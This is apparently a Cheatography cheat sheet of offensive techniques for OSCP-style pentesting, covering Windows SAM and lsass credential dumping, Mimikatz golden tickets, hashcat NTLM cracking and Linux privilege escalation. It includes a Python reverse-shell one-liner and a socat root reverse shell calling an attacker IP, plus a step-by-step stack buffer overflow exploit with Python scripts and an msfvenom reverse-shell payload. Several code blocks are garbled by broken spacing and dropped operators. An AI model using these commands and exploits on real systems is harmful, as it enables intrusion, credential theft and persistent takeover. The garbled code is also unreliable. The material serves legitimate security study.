Credential Dumping: SAM (tools)	ϟ The Security Accounts Manager (SAM) is a registry file in Windows NT and later versions until the most recent Windows 8. It stores users' passwords in a hashed format (in LM hash and NTLM hash). Since a hash function is one-way, this provides some measure of security for the storage of the passwords. ϟ SAM is found in C:\Windows\System32\config and passwords that are hashed and saved in SAM can found in the registry, just open the Registry Editor and navigate yourself to HKEY_LOCAL_MACHINE\SAM. ϟ Windows 7 - SamDump2, PwDump7, Metasploit framework ϟ Windows 10 - Mimikatz, Impacket, Metasploit Framework - Hashdump and load_kiwi(mimikatz) ϟ The Registry is essentially a database. Its information is stored on disk for the most part, though dynamic information also exists in the computer's memory

Windows Priv. Esc. || Metasploit Module	
Name	Usage
Microsoft Remote Desktop (MSRDP)	Port no - 3389
Local Security Authority Subsystem Service	ϟ lsass service ϟ The service responsible for authentication within Windows. ϟ We generally infect a process with the migrate command in metasploit to infect a process that can communicate with lsass.exe and has permissions that are needed to interact
To exploit lsass we need to be ϟ Same architecture (living in) ϟ Same permissions	ϟ In order to interact with lsass we need to be 'living in' a process that is the same architecture as the lsass service (x64 in the case of this machine) and a process that has the same permissions as lsass.
Printer service	ϟ spoolsv.exe ϟ The printer spool service

Windows Priv. Esc. || Metasploit Module (cont)	
Living in as a process	ϟ Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.
msfconsole >> search <Program/-Process>	Fire up msfconsole terminal and search for vulnerable exploit of a program or process
Select a exploit	ϟ Select using #use <no> ϟ Remeber to use #search options command and set them accordingly
Fire the exploit	ϟ #run them after setting up options
Metasploit command center	ϟ #getuid (user-id) ϟ #sysinfo ϟ #getprivs ϟ #migrate -N PROCESS_NAME

Cheatography

Linux | Windows Privilege Escalation Cheat Sheet

by blacklist_ via cheatography.com/121658/cs/22362/

Windows Priv. Esc. || Metasploit Module (cont)

Local_-exploit V/S Remote_exploit	ϟ A remote exploit works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A local exploit requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator.
Local_-exploit (metasploit)	ϟ run post/multi/recon/local_exploit_suggester ϟ Results for potential escalation exploits. ϟ Local exploits require a session to be selected
Background a session (some priviledge)	ϟ #background ϟ This provides us with a session number which can be used in combination with another exploit to escalate priviledges
Mimikatz (password dumping tool)	ϟ #load kiwi (Kiwi is the updated version of Mimikatz) `load kiwi` (Kiwi is the updated version of Mimikatz) ϟ Expanded the options use #help to view them

Windows Priv. Esc. || Metasploit Module (cont)

Mimikatz allows us to create what's called a `golden ticket`, allowing us to authenticate anywhere with ease.	ϟ golden_ticket_create ϟ Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.
Windows NTLM hash crack	hashcat -a 0 -m 1000 crack.hash /usr/share/wordlists/rockyou.txt

Privilege escalation

Usage	Syntax
Fast Linux Priv. Esc Checklist	ϟ uname - a ϟ id ϟ sudo - l ϟ etc/crontab ϟ suid ϟ linpeas ϟ linux-exploit-suggestor ϟ pspy ϟ netstat ϟ capabilities ϟ search dir for juice ϟ use ps -aux | grep root to look at any services that are running as root. ϟ Password Spray ϟ Config files of service running might leak creds
C program	make <.c program> then ./ to execute

Privilege escalation (cont)

SCP (secure copy files) from local to remote machine	scp <filename> username@ip:<location>
Python server	ϟ python3 -m http.server
Unix info about your specific Linux distribution	ϟ lsb_release -a ϟ uname -a
Use echo " text " into file	ϟ echo "text" > output.txt
Python reverse shell with newline char	ϟ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.157",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
View Cronjobs	ϟ cat /etc/crontabs
Exploiting sudo -l user NOPASSWD: ALL	ϟ sudo -i -u <user>

Privilege escalation (cont)

Sudo knowledge	ϟ su asks for the password of the user "root". ϟ sudo asks for your own password (and also checks if you're allowed to run commands as root, which is configured through /etc/sudoers -- by default all user accounts that belong to the "admin" or "sudo" groups are allowed to use sudo). ϟ sudo -s launches a shell as root, but doesn't change your working directory. sudo -i simulates a login into the root account: your working directory will be /root, and root's .profile etc. will be sourced as if on login.
Sudo -l (exploiting sudo rights)	ϟ Super User Do root privilege task ϟ https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/
After SSH	🐧

Privilege escalation (cont)

id	ϟ id command in Linux is used to find out user and group names and numeric ID's (UID or group ID) of the current user or any other user in the server
id shows 108(lxd)	ϟ LXD privilege escalation
Weak File Permission	ls -l <file> : Check Permissions
Readable /etc/s-hadow	ϟ Crack the passwd, SHA-512
Writeable /etc/s-hadow	ϟ Create and replace the passwd, mkpasswd -m sha-512 newpasswordhere
Writeable /etc/p-asswd	ϟ Create and replace the passwd, openssl passwd newpasswordhere
.sudo_as_-admin_-successful	ϟ Means that the user can run something as root ϟ Check SUID and Sudo -l ϟ Refer to checklist

Privilege escalation (cont)

Socat (more powerful version of nc)	ϟ We can use socat to send ourselves a root shell. ϟ Attacking machine: socat file:`tty`,raw,echo=0 tcp-listen:1234 ϟ Remote machine: sudo socat tcp-connect:<your-ip--address>:1234 exec:bash,pty,stderr,setsid,sigint,sane ϟ Socat Reverse shell as root ϟ https://www.maritimecybersecurity.center/linux-for--pentester-socat-privilege-escalation/
Reverse shell (one-l-iners)	ϟ Reverse shell - 1)Bash-running linux, 2)Python, 3)Nc, 4)PHP ϟ Reverse shell Script
Linux Privilege Escalation Checklist	ϟ Guide to follow if stuck
Linux Priv Esc	ϟ Kernel exploits : uname -a ϟ Execute command as root : Sudo -l ϟ Find binary we can execute as root : SUID ϟ check cronjobs , monitor linux system : PSPY64

Privilege escalation (cont)	
Few things to remember	If root is executing a File and we can access that file then we can get a reverse shell, Mostly cron jobs can be exploited like this OR if you can execute the file as root but cant write it then delete it and execute to get a reverse shell
Linux Priv Esc via Capability (getcap)	To identify if it exist type getcap -r / 2>/dev/null

Buffer Overflows (OSCP procedure)

Steps	Commands
References ☐	ϟ Cybermentor BoF Notes ϟ Buffer Overflow Guide
1. SPIKING | Testing commands to find vulnerable	☐ We are trying to test multiple commands and try to find what's vulnerable. ϟ For ex for TRUN function ϟ ─(root☐Kali)-[~/Koth] ϟ └─# cat spike.spk ϟ s_readline(); ϟ s_string("TRUN "); ϟ s_string_variable("0");
	ϟ Attacking Machine ϟ nc -nv 10.0.2.14 9999 ϟ generic_send_tcp 10.0.2.14 9999 spike.spk 0 0 ϟ Lookout for Buffer Overflow in Registers

Buffer Overflows (OSCP procedure) (cont)

2. FUZZING | Crash The Application	☐ We will now go ahead and attack that command specifically in FUZZING ϟ When The Registers Gets Crashes and we see TRUN being affected ϟ We will stop the exploit via ctrl+c to stop it and we will get an estimate of at what bytes the TRUN got affected ϟ Like its 2800 bytes -> we can round off and make it 3000

```
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = 'A' 100
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + 'A' 100
except:
print( " Fuzzing crashed at %s bytes" %
str(len(buffer)))
sys.exit()
```

	ϟ Goal : Is to know approximately to know where we crashed at, what bytes ϟ Once it break print out an exception, Fuzzing crashed at X bytes ϟ Now we will be finding where the EIP is at, we are gonna use a tool

Buffer Overflows (OSCP procedure) (cont)

3. FINDING THE OFFSET | Find EIP

☐ First we will use pattern_create msf tool we created 3000 bytes , then run exploit.py. After that we will use pattern_offset by specifying the value of EIP which will be within those 3000 bytes To grab the offset

ϟ Tool : Pattern Create `/usr/s har e/m eta spl oit -fr - ame wor k/t ool s/e xpl oit /pa tte rn_ cre ate.rb -l 3000`

```
#!/usr /bi n/p ython import sys, socket
offset = (' ')
try:
s=sock et.s oc ket (so cke t.A F_I NET ,so cke - t.S OCK _ST REAM)
s.conn ect (('  10.0.2.14 ',9 999))
s.send (('TRUN /.:/' + offset))
s.close()
except:
print( " Error Connecting to the Server ")
sys.exit()
```

ϟ Tool : Pattern Offset `patter n_o ffs et.rb -l 3000 -q <VA LUE /FI NDI NG> from EIP`

ϟ Goal: This offset information is critical because now we know that at this byte we can control the EIP, We will overwrite it with specific bytes

ϟ This offset information is critical because now we know that at this byte we can control the EIP,

ϟ Now we will overwrite it with specific bytes

Buffer Overflows (OSCP procedure) (cont)

4. OVERWRITING THE EIP | Control ESP

☐ We discovered that the offset is at 2003 bytes,

ϟ It means there are 2003 bytes right before, EIP begins

```
#!/usr /bi n/p ython
import sys, socket
shellcode = 'A' 2003 + 'B' 4
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN /.:/' + shellcode))
s.close()
except:
print( " Error Connecting to the Server")
sys.exit()
```

ϟ Goal : Control this EIP now

ϟ TRUN got filled with a bunch of As

ϟ EBP, bottom is filled with 41414141

ϟ EIP, return is filled with 42424242

ϟ Now, we only sent bytes of Bs and they all landed up in EIP

Buffer Overflows (OSCP procedure) (cont)

5. FINDING THE BAD CHARACTERS in HexDump, Note them & x00 is a bad char

- Manually Identify Bad Chars

After running the script, EIP will be same 4242 but we will work on Hexdump to find bad guys.

- Sequence Flow : 1-9 -> a-f -> 10-19 -> 1a-1f -> 20-29 -> 2a-2f
- Add string with badchar + "blacklist" To identify End of Buffer

```
#!/usr /bi n/p ython
import sys, socket
badchar = ("\x 01 \xff ") #all bad char will be sent
shellcode = 'A' 2003 + 'B' 4 + badchar
try:
s=sock et.s oc ket (so cke t.A F_I NET ,so cke - t.S OCK _ST REAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN /.:/' + shellcode))
s.close()
except:
print( " Error Connecting to the Server")
sys.exit()
```

x

01 - 09	20 - 29	40 - 49	60 - 69	80 - 89
0a - 0f	2a - 2f	4a - 4f	6a - 6f	8a - 8f
10 - 19	30 - 39	50 - 59	70 - 79	90 - 99
1a - 1f	3a - 3f	5a - 5f	7a - 7f	9a - 9f

x

a0 - a9	c0 - c9	e0 - e9
aa - af	ca - cf	ea - ef
b0 - b9	d0 - d9	f0 - f9
ba - bf	da - df	fa - ff

x

Buffer Overflows (OSCP procedure) (cont)

- Goto HexDump, by Right click ESP (top) in register > Follow Dump > Ok
- We will go through this whole list
- We see if there is anything out of place now
- We got 01 02 03 ..B0.. ..B0.. B6 B7 B8. We have B4 and B5 Missing -> Those are Bad Characters
- This is EYE TEST, We Need to make sure we find everything, which is out of place

6. FINDING THE RIGHT MODULE | Find JMP ESP

☐ Goal : To find a JMP ESP that we will use to tell the application to execute our code.

- mona modules > Select all with False, means no memory protection in this module

```
!mona modules
nasm_shell -> JMP ESP
!mona find -s " \xf f\x e4" -m essfun c.dll
```

- rclick on panel > search for the return address we found
- It will have JMP ESP & FFE4 location
- F2 > Put a break point

Buffer Overflows (OSCP procedure) (cont)

```
#!/usr /bi n/p ython
import sys, socket
#625011AF
shellcode = 'A' * 2003 + '\xaf\x11\x50\x62'
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN /.:/' + shellcode))
s.close()
except:
print( " Error Connecting to the Server")
sys.exit()
```

	☐ Finally, we were able to provide EIP an valid return address JMP ESP where it can point to in the memory ϟ Ran our script with that Pointer address, affecting directly EIP area ϟ Changed EIP return address - DONE!
7. GENERATING SHELLCODE	☐ Our EIP will point to the JMP ESP, which will run our malicious shellcode and give us root (hopefully). `msfvenom -p window s/s hel l_r eve - rse_tcp LHOST= 10.0.2.5 LPORT=4444 EXITFU NC= thread -f c -a x86 -b " - \x0 0"`

```
#!/usr /bi n/p ython
import sys, socket
overflow = ("Inside this malicious shellc ode ")
shellcode = 'A' 2003 + '\xaf \x11 \x5 0\x62' +
'\x90' 32 + overflow
try:
s=sock et.s oc ket (so cke t.A F_I NET ,so cke -
t.S OCK _ST REAM)
s.conn ect (( ' 10.0.2.14 ',9 999))
s.send (('TRUN /.:/' + shellc ode))
s.close()
except:
print( " Error Connecting to the Server ")
sys.exit()
```

Buffer Overflows (OSCP procedure) (cont)

	☐ Shellcode need 4 things ϟ 1. The exact number of bytes to crash (Crash Point) ϟ 2. The value of the JMP ESP that will instruct the application to execute our code (Return Address) ϟ 3. Padding (No-opn) ϟ 4. shellcode to grab reverse shell
8. ROOT | Exploit	ϟ Check real-time protection is off & Antivirus while playing with this method ϟ \x41, \x42, \x43 - The hexadecimal values for A, B and C.

ϟ *Anatomy of Stack : EBEE*
ϟ ESP (Extended Stack Pointer) : Its at the TOP
ϟ Buffer Space : Fills and goes downward, should stop before EBP & EIP
ϟ EBP (Extended Base Pointer) : Its at the BOTTOM
ϟ EIP (Extended Instruction Pointer) : Its the Return Address

ϟ ESP	ϟ The Extended Stack Pointer (ESP) is a register that lets you know where on the stack you are and allows you to push data in and out of the application.

Buffer Overflows (OSCP procedure) (cont)

EIP	Its the Return Address, and we can use this address to point to directions. It can be malicious code to gain reverse shell The Extended Instruction Pointer (EIP) is a register that contains the address of the next instruction for the program or command.
JMP	The Jump (JMP) is an instruction that modifies the flow of execution where the operand you designate will contain the address being jumped to.

1 Spiking : Method to find the vulnerable part of the program
2 Fuzzing : We will send a bunch of characters to the program to check if it breaks it
3 Finding the Offset : If we break it, we want to find out the point at which we break it
4 Overwriting the EIP : We will use that offset to override the EIP, that pointer address can be controlled
+ EIP controlled, 2
* 5 Finding Bad Character
* 6 Finding the Right Module
7 Generating Shellcode
+ Root